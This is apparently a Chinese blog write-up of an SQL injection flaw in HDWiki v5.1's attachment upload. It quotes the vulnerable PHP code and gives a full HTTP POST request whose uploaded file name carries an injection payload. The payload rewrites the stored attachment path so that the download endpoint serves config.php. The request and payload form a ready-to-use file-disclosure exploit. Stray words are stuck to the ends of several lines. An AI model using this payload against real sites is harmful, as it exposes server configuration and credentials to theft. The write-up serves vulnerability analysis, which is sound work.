每到來一個請求,請求index.php,index.php使用請求中的querystring,querystring的形式是class-mothod的形式,去加載controller。本案中加載的attachment.php這個controller,controller的構造函數調用了attachment的model,最後把這個model放到$_ENV變量中php
加載完畢controller以後,index.php中的程序會使用method的值,去調用controller 中的函數,本案中調用的是attachment的uploadimg和downloadhtml
漏洞存在於model/attachment.class.php,出現該漏洞是下圖所示的註釋內容不存在致使了注入bash
function add_attachment($uid,$did,$filename,$attachment,$description,$filetype='.jpg',$isimage=1,$coindown=0){ $filesize=filesize($attachment); #$filename=string::haddslashes($filename); if(empty($coindown) || !is_numeric($coindown)) { $coindown = 0; } $this->db->query("INSERT INTO ".DB_TABLEPRE."attachment(did,time,filename,description,filetype,filesize,attachment,coindown,isimage,uid) VALUES ($did,{$this->base->time},'$filename','$description','$filetype','$filesize','$attachment',$coindown,$isimage,$uid)"); return $this->db->insert_id(); }
當該段代碼存在漏洞時,從客戶端得到的$filename變量沒有通過addslashes進行轉義直接放入了insert語句中,此時能夠閉合insert語句,在下載的位置插入你想下載的文件名稱,好比config.phpapp
下載的代碼以下函數
function dodownload(){ if(!isset($this->get[2]) || !is_numeric($this->get[2])){ $this->message($this->view->lang['parameterError'],'BACK'); } $result=$_ENV['attachment']->get_attachment('id',$this->get[2],0); if(!(bool)$attachment=$result[0]){ $this->message($this->view->lang['attachIsNotExist'],'BACK'); } if($this->user['uid'] != $attachment['uid']) { // 判斷金幣 $credit1 = $this->user['credit1']; // 擁有金幣數 $coindown = $attachment['coindown']; // 下載此附件須要消耗金幣數 if(0 > $credit1 - $coindown) { // 金幣不足 $this->message($this->view->lang['goldNotEnough'],"index.php?doc-view-".$attachment['did'],0); } // 扣除金幣 $_ENV['user']->add_credit($this->user['uid'],'attachment-down',0,-$coindown); // 增長金幣 $_ENV['user']->add_credit($attachment['uid'],'attachment-down',0,$coindown); } $_ENV['attachment']->update_downloads($attachment['id']); file::downloadfile($attachment['attachment'],$attachment['filename']); }
function downloadfile($filepath,$filename=''){ if(!file_exists($filepath)){ return 1; } if(''==$filename){ $tem=explode('/',$filepath); $num=count($tem)-1; $filename=$tem[$num]; $filetype=substr($filepath,strrpos($filepath,".")+1); }else{ $filetype=substr($filename,strrpos($filename,".")+1); } $filename_utf=function_exists(mb_convert_encoding)?mb_convert_encoding($filename, "gbk",'utf-8'):urldecode($filename); $filename ='"'.(strtolower(WIKI_CHARSET) == 'utf-8' && !(strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE') === FALSE) ? $filename_utf : $filename).'"'; $filesize = filesize($filepath); $dateline=time(); file::hheader('date: '.gmdate('d, d m y h:i:s', $dateline).' gmt'); file::hheader('last-modified: '.gmdate('d, d m y h:i:s', $dateline).' gmt'); file::hheader('content-encoding: none'); file::hheader('content-disposition: attachment; filename='.$filename); file::hheader('content-type: '.$filetype); file::hheader('content-length: '.$filesize); file::hheader('accept-ranges: bytes'); if(!@empty($_SERVER['HTTP_RANGE'])) { list($range) = explode('-',(str_replace('bytes=', '', $_SERVER['HTTP_RANGE']))); $rangesize = ($filesize - $range) > 0 ? ($filesize - $range) : 0; file::hheader('content-length: '.$rangesize); file::hheader('http/1.1 206 partial content'); file::hheader('content-range: bytes='.$range.'-'.($filesize-1).'/'.($filesize)); } if($fp = @fopen($filepath, 'rb')) { @fseek($fp, $range); echo fread($fp, filesize($filepath)); } fclose($fp); flush(); ob_flush(); }
下載調用attachment-download-xx,其中xx是附件的ID。ui
若是插入的時候說的下載的文件是config.php,這裏就會下載config.phpthis
insert語句的注入接觸得比較少。url
POST /HDWiki-v5.1UTF8-20121102/hdwiki/index.php?attachment-uploadimg-56 HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Referer: http://localhost/HDWiki-v5.1UTF8-20121102/hdwiki/index.php?doc-create Cookie: hd_sid=Bt0yO7; hd_auth=c701xbewwRttXTWmEfTitYLArcr4zMn0TGPnyic7X88rXCWcRggNb%2Bdl2EVozEComqD40qfHev4M0ZgOylZ3 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=---------------------------106771681822525 Content-Length: 37933 -----------------------------106771681822525 Content-Disposition: form-data; name="photofile"; filename="upload','hehe','gif','10000','config.php',0,1,2)#.gif" Content-Type: image/png
上傳文件的過程將filename改爲圖中的exp既可。spa